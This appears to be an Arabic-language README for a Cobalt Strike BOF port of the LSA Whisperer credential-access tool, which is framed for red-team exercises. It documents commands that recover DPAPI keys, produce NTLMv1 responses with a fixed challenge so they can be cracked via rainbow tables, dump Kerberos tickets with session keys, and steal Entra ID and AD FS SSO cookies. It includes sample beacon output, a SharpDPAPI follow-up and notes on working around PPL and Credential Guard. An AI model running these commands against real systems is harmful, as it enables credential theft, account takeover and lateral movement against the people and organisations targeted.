
ملف كائن منارة (BOF) يتحدث مباشرة إلى حزم مصادقة Windows من خلال واجهة عميل LSA غير الموثوقة/الموثوقة، دون لمس ذاكرة عملية LSASS.

إصدار كائن ملف Beacon (BOF) لـ Cobalt Strike من LSA Whisperer — الأداة التي تتحدث مباشرة مع حزم المصادقة في Windows عبر واجهة العميل غير الموثوقة/الموثوقة LSA، دون لمس ذاكرة عملية LSASS حتى عند تمكين PPL و Credential Guard.
أثبت LSA Whisperer بواسطة Evan McBroom (SpecterOps) أنه يمكنك استعادة مفاتيح بيانات DPAPI، واستخراج رموز SSO السحابية، والتفاعل مع Kerberos — كل ذلك عبر استدعاءات API المشروعة LsaCallAuthenticationPackage. لا قراءات للذاكرة، لا حقن عمليات، لا مقابض لـ LSASS.
يجلب هذا المشروع تلك القدرات إلى C2s كملفات BOF لاستخدامها خلال تمارين الفريق الأحمر. لا يفتح أبدًا مقبضًا لعملية lsass، وجميع الاستدعاءات تمر عبر LsaCallAuthenticationPackage (واجهة برمجة التطبيقات الرسمية للعميل المستخدمة للتواصل مع lsass)، ولا يهم PPL على LSASS على الإطلاق. يحمي PPL عملية LSASS من الفتح/القراءة/الحقن.
| الأمر | الوصف |
|---|---|
lsa-credkey [LUID] | استعادة مفتاح بيانات DPAPI. يعمل مع Credential Guard. |
lsa-strongcredkey [LUID] | استعادة مفتاح بيانات DPAPI القوي (Win10+). |
lsa-ntlmv1 [LUID] [challenge] | توليد استجابة NTLMv1 مع تحدي مخصص. التحدي الافتراضي 1122334455667788 متوافق مع جداول قوس قزح لـ crack.sh. |

| الأمر | الوصف |
|---|---|
lsa-klist [LUID] | عرض تذاكر Kerberos المخزنة مؤقتًا. |
lsa-dump [LUID] | تفريغ جميع التذاكر ككتل .kirbi بتنسيق base64 مع مفاتيح الجلسة. |
lsa-purge [LUID] [server] | مسح التذاكر. يدعم المسح الانتقائي حسب اسم الخادم. |

| الأمر | الوصف |
|---|---|
lsa-ssocookie [LUID] | استخراج ملف تعريف ارتباط SSO لـ Entra ID (Azure AD) عبر إضافة AAD. |
LUID: 0 أو احذفه للجلسة الحالية. قيمة سداسية عشرية (مثل 0x3e7) لاستهداف جلسة تسجيل دخول معينة. استهداف الجلسات الأخرى يتطلب صلاحيات SYSTEM.
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
استخدم المفتاح المستعاد مع SharpDPAPI:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
أرسل الاستجابة إلى crack.sh لاسترداد فوري لتجزئة NT مع التحدي الافتراضي.
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor script (load this)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API declarations + DFR imports
│ └── lsa_structs.h # All LSA/MSV1_0/Kerberos/CloudAP structs
├── src/
│ ├── common/
│ │ └── lsa_common.c # Shared LSA init, helpers, output formatting
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 commands
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos commands
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD commands
└── build/ # Compiled BOFs (after make)
يتم تجميع كل وحدة إلى BOF مستقل. يتم تضمين الكود المشترك في وقت التجميع (نمط BOF القياسي) — لا توجد مكتبات مشتركة أو تبعيات وقت تشغيل.
| السياق | الإمكانية |
|---|---|
| المستخدم الحالي (بدون صلاحيات) | lsa-klist، lsa-ssocookie، lsa-cloudinfo لجلسة المستخدم الخاصة |
SYSTEM (صلاحية SeTcbPrivilege) | جميع الأوامر التي تستهدف أي جلسة تسجيل دخول حسب LUID |
قم بتعداد LUIDs المتاحة باستخدام logonpasswords أو klist للعثور على الجلسات المستهدفة.
lsa-credkey و lsa-strongcredkey من خلال Credential Guard. يتم حظر lsa-ntlmv1 بواسطته.1122334455667788 يتيح الكسر المجاني عبر جداول قوس قزح من crack.sh. التحديات المخصصة تعمل ولكنها تتطلب قوة غاشمة قياسية.lsa-purge مع فلتر خادم يزيل فقط التذاكر المطابقة — مفيد لاستغلال Kerberos المستهدف دون تعطيل جلسة المستخدم.هذا المشروع هو إصدار BOF من LSA Whisperer بواسطة Evan McBroom (@EvanMcBroom) من SpecterOps. جميع الأبحاث الأساسية — رسائل بروتوكول MSV1_0 غير الموثقة، واجهة استدعاء إضافة CloudAP/AAD، وتعريفات الهياكل التي تجعل هذا ممكنًا — هي من عمله.
المراجع الرئيسية:
lsa-devicessocookie [LUID] | استخراج ملف تعريف ارتباط SSO للجهاز. |
lsa-enterprisesso [LUID] | استخراج ملف تعريف ارتباط SSO للمؤسسة AD FS. |
lsa-cloudinfo [LUID] | الاستعلام عن معلومات مزود السحابة، حالة TGT، حالة DPAPI. |